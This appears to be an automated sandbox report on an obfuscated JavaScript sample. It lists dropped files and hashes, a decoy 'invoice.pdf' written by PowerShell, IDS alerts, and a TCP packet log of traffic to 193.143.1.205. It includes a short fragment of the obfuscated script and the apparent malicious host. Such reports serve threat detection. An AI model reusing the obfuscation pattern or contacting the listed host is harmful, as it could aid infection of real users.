SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4113160a-620a-4e1a-92d3-826e678ac769.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6139db48-5cb0-4d2c-a085-3dd09831b2aa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/R7o6dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:aK3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	8D0BB123F48B93066D9CCF92FF48F939
SHA1:	8A31BC2B851A5604E18A9428C4F89948A24F502D
SHA-256:	F23DB00D61C047B86EF99CBBFEF272D8FFE01735281330AED5B7D74D1C72309A
SHA-512:	AB43247ACE6B747C83D8E77515E04634B44C42EAC4A04E7893F8D7CB2AD02C0700C3508197D9FF6BDF059D22B673C00168A3F1F8CDDEE14F045EE400EFEBFF9C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\61e84aa8-0761-4c1f-b465-08423ad42daa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15239), with CRLF line terminators
Entropy (8bit):	4.928180213764646
TrID:
File name:	2513521629114031259.js
File size:	18'701 bytes
MD5:	9876804bcc213d7baf7296c27d36c667
SHA1:	6f9a45074738359142973a140ca2a66c5eb9d243
SHA256:	e0626eaa4dc27f92fcf56263fd86988905f90a1460934e6736da1f276050940d
SHA512:	4991c11518e41d0aa94502f6b28797369da22d1cb072c147bc5c8b8ac4c8b3c6fc0464c4ec871fec6b446937a04b6df80218ebcb9715b4422358f15c7d1ede4e
SSDEEP:	192:ITKtLwKHmIvTDqKhmNkHmc3hK4kZhi9tcxr5oZ9cJoxHDnUCJfIy8tnW4K1jsc8L:ZmCTDq3Kfh99B06Rjm68Cs
TLSH:	288245424486DF7AE0F8D2F4B4999CE612D183ECD2E8729CEDC674CD4501858AAF72B7
File Content Preview:	function fyyyujtuq(){sguid=[1031,3079,5127,4103,2055,3072];var ggngjnqn=this[voiarfl+pglqi+enifsirz+gqrzailnx+qpyemiibs+mxpuxcfoh+tzlhnh+fxnccc](this[hlchdhpar+injunb+hvytofs+enifsirz+ynnqma+voiarfl+fxnccc][bmnbdarpz+enifsirz+qpyemiibs+pglqi+fxnccc+qpyemi

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:55:21.356216+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49701	193.143.1.205	80	TCP
2025-01-10T21:55:24.268351+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49702	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:55:20.558474064 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:20.563569069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:20.563715935 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:20.567476988 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:20.572277069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356100082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356131077 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356142044 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356154919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356168032 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356180906 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356193066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356208086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356215954 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.356220007 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356234074 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.356247902 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.356290102 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.356290102 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.361140966 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.398494005 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.398519039 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.398534060 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.398567915 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.398653030 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.398653030 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.477396011 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.477416992 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.477438927 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.477452040 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.477468014 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.477480888 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.477479935 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.477530956 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.477564096 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.478040934 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478053093 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478099108 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.478255987 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478267908 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478279114 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478311062 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.478699923 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478712082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478724957 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478737116 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.478740931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478755951 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.478765011 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.478790045 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.479535103 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.479548931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.479578972 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.479582071 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.488993883 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.489010096 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.489033937 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.489046097 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.489053965 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.489075899 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.520807981 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.520824909 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.520862103 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.529124975 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.529139996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.529165030 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.529174089 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.529340029 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.529387951 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.568439960 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.568460941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.568552017 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.598695993 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.598732948 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.598746061 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.598761082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.598774910 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.598779917 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.598788977 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.598803997 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.598817110 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.598855972 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.599144936 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599159002 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599173069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599181890 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.599186897 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599214077 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.599616051 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599662066 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.599762917 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599776030 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599790096 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599802971 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599811077 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.599818945 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599832058 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599837065 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.599847078 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.599864960 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.600568056 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.600580931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.600591898 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.600606918 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.600615025 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.600629091 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.600630045 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.600644112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.600657940 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.600681067 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.600704908 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.601624966 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.601638079 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.601649046 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.601661921 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.601675034 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.601676941 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.601686954 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.601701021 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.601706028 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.601736069 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.602435112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.602492094 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.602516890 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.602530003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.602544069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.602557898 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.602571011 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.602577925 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.602595091 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.619743109 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.619941950 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.641110897 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.641125917 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.641135931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.641148090 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.641242027 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.641459942 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.658528090 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.658565998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.658576012 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.658587933 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.658600092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.658700943 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.658761978 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.658760071 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.658760071 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.689903975 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.689918995 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.689990044 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.724973917 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.724986076 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.724999905 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725055933 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.725126982 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725138903 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725151062 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725171089 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.725202084 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.725816965 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725827932 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725840092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725850105 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725862026 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725872993 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725879908 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.725886106 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725898027 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.725930929 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.725944996 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.726140976 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726152897 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726166964 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726203918 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.726284027 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726325035 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.726457119 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726627111 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726636887 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726649046 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726665974 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.726682901 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.726931095 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726947069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726957083 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726969004 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.726982117 CET	80	49701	193.143.1.205	192.168.2.7
